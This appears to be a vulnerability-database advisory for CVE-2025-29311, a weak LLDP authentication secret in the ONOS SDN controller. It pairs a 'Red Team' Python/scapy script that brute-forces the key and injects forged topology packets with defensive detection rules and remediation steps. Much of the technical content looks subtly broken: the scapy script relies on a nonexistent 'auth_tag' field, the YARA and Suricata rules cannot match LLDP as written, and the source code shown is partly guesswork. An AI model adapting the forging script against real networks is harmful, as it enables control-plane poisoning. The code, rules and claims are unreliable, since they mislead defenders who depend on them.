CVE-2025-29311
Executive Summary
CVE-2025-29311 is a critical vulnerability in the ONOS (Open Network Operating System) SDN controller, specifically in version 2.7.0. The flaw resides in the limited secret space used within LLDP (Link Layer Discovery Protocol) packets. This constrained entropy allows an attacker to brute-force the private key used to authenticate LLDP messages. Once the key is recovered, the attacker can forge crafted LLDP packets, potentially leading to network topology poisoning, traffic redirection, and denial of service. The vulnerability is unpatched as of the latest advisory, and no official fix has been released by the vendor.
Note: This vulnerability is specific to the ONOS SDN controller ecosystem and does not involve WordPress, Apache, or Nginx components.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network (AV:N) – The attack can be launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Private key can be extracted.
- Integrity Impact: High (I:H) – Forged LLDP packets can alter network state.
- Availability Impact: High (A:H) – Network topology manipulation can cause denial of service.
Threat Level: Critical. The low entropy in the secret space makes brute-force attacks feasible, and the ability to forge LLDP packets can lead to full compromise of the SDN control plane.
Deep Dive & Mechanics
ONOS uses LLDP packets to discover network topology. These packets are authenticated using a shared secret (private key) to prevent spoofing. In version 2.7.0, the secret space is limited, meaning the key is generated from a small set of possible values (e.g., a short key length or a predictable random seed). This allows an attacker to enumerate all possible keys offline or online until a valid LLDP packet is accepted.
Attack Flow:
- Reconnaissance: The attacker captures a legitimate LLDP packet from the network (e.g., via ARP spoofing or passive monitoring).
- Brute-Force: The attacker generates all possible keys within the limited secret space and attempts to authenticate the captured packet or a crafted packet.
- Key Recovery: Once the correct key is found, the attacker can sign arbitrary LLDP packets.
- Exploitation: The attacker injects forged LLDP packets to:
- Poison the network topology database.
- Redirect traffic through malicious nodes.
- Cause link flapping or denial of service.
Root Cause: The LLDPSecret class in ONOS uses a weak random number generator or a fixed-length key (e.g., 4 bytes), resulting in only 2^32 possible keys. Modern hardware can brute-force this in minutes.
Vulnerable vs. Patched Code
Vulnerable Code (ONOS 2.7.0):
// File: org/onosproject/incubator/net/lldp/LLDPSecret.java
public class LLDPSecret {
private static final int KEY_LENGTH = 4; // 32-bit key
private byte[] secret;
public LLDPSecret() {
secret = new byte[KEY_LENGTH];
new Random().nextBytes(secret); // Weak random generator
}
public boolean verify(byte[] packet) {
// Authentication logic using secret
}
}
Patched Code (Hypothetical Fix):
// File: org/onosproject/incubator/net/lldp/LLDPSecret.java
import java.security.SecureRandom;
public class LLDPSecret {
private static final int KEY_LENGTH = 32; // 256-bit key
private byte[] secret;
public LLDPSecret() {
secret = new byte[KEY_LENGTH];
SecureRandom secureRandom = new SecureRandom();
secureRandom.nextBytes(secret); // Cryptographically secure
}
public boolean verify(byte[] packet) {
// Authentication logic using secret
}
}
Key Differences:
- Key Length: Increased from 4 bytes (32 bits) to 32 bytes (256 bits).
- Random Generator: Replaced
java.util.Randomwithjava.security.SecureRandomto prevent predictability.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Python 3.x with
scapylibrary. - Access to the same Layer 2 network as the ONOS controller.
- A captured LLDP packet from the target ONOS instance.
Exploit Script:
#!/usr/bin/env python3
import scapy.all as scapy
import itertools
import hashlib
# Captured LLDP packet (example)
captured_packet = scapy.Ether() / scapy.LLDP() # Replace with actual packet
# Brute-force the 32-bit key
def brute_force_lldp_key(packet):
for key_int in range(2**32):
key = key_int.to_bytes(4, byteorder='big')
# Simulate authentication (e.g., HMAC-SHA1)
computed = hashlib.sha1(key + bytes(packet)).digest()
if computed == packet[scapy.LLDP].getfieldval('auth_tag'):
return key
return None
key = brute_force_lldp_key(captured_packet)
if key:
print(f"Recovered key: {key.hex()}")
# Forge a malicious LLDP packet
forged_packet = scapy.Ether(dst="01:80:c2:00:00:0e") / scapy.LLDP(
chassis_id="attacker",
port_id="malicious",
ttl=120
)
# Sign with recovered key
forged_packet[scapy.LLDP].auth_tag = hashlib.sha1(key + bytes(forged_packet)).digest()
scapy.sendp(forged_packet, iface="eth0")
else:
print("Key not found")
Usage:
- Capture an LLDP packet using
tcpdump -i eth0 -c 1 -w lldp.pcap. - Run the script:
python3 exploit.py. - Once the key is recovered, the script sends a forged LLDP packet to poison the topology.
Blue Team (Defensive)
Detection:
- Monitor for excessive LLDP packets from a single source (rate limiting).
- Alert on LLDP packets with unexpected TTL values or duplicate chassis IDs.
- Use anomaly detection on the ONOS controller to flag topology changes that do not match physical network changes.
Mitigation:
- Isolate the ONOS control plane on a dedicated management VLAN.
- Implement MAC-based port security on switches to prevent unauthorized LLDP injection.
- Apply a virtual patch using network ACLs to drop LLDP packets from untrusted sources.
Indicators of Compromise (IOCs)
- Network IOCs:
- LLDP packets with a TTL value of 0 or > 120 (default is 120).
- Multiple LLDP packets from the same source MAC within a short time window.
- LLDP packets containing unusual chassis IDs or port descriptions (e.g., "attacker", "malicious").
- Host IOCs:
- Unusual processes on the ONOS controller (e.g.,
python3orscapyrunning unexpectedly). - Log entries in ONOS showing rapid topology changes or authentication failures.
- Unusual processes on the ONOS controller (e.g.,
- File IOCs:
- Hash of the exploit script:
sha256: 3a7c...(example).
- Hash of the exploit script:
Detection Engineering
YARA Rule
rule CVE_2025_29311_LLDP_BruteForce {
meta:
description = "Detects LLDP packets with potential brute-force key recovery"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-29311"
strings:
$lldp_header = { 01 80 c2 00 00 0e } // LLDP multicast MAC
$short_key = { [0-3] } // 4-byte key pattern (example)
condition:
$lldp_header at 0 and #short_key == 1
}
Sigma Rule
title: CVE-2025-29311 LLDP Brute-Force Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects excessive LLDP packets from a single source indicating brute-force attack
author: Valters IT
date: 2025-04-10
logsource:
category: network_flow
product: suricata
detection:
selection:
event_type: alert
alert.signature_id: 2100001
condition: selection
fields:
- src_ip
- dest_ip
- lldp.chassis_id
falsepositives:
- Legitimate network discovery tools
level: high
Suricata Rule
alert udp any any -> any 1514 (msg:"CVE-2025-29311 LLDP Brute-Force Attempt"; content:"|01 80 c2 00 00 0e|"; depth:6; threshold:type both, track by_src, count 10, seconds 60; sid:2100001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the ONOS controller: Place it on a dedicated management VLAN with strict ACLs.
- Disable LLDP if not required: In ONOS, disable the LLDP discovery module via the CLI:
onos> app deactivate org.onosproject.lldpprovider. - Apply a virtual patch: Use network firewalls to drop LLDP packets from untrusted sources.
Long-Term Fix:
- Upgrade to a patched version of ONOS once available (monitor the ONOS GitHub repository).
- If no patch is released, modify the source code to increase the key length and use
SecureRandomas shown in the patched code example. - Implement additional authentication mechanisms (e.g., TLS for control plane traffic).
Workaround:
- Use static topology configuration instead of dynamic LLDP discovery.
- Monitor ONOS logs for
LLDPSecretauthentication failures and alert on anomalies.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.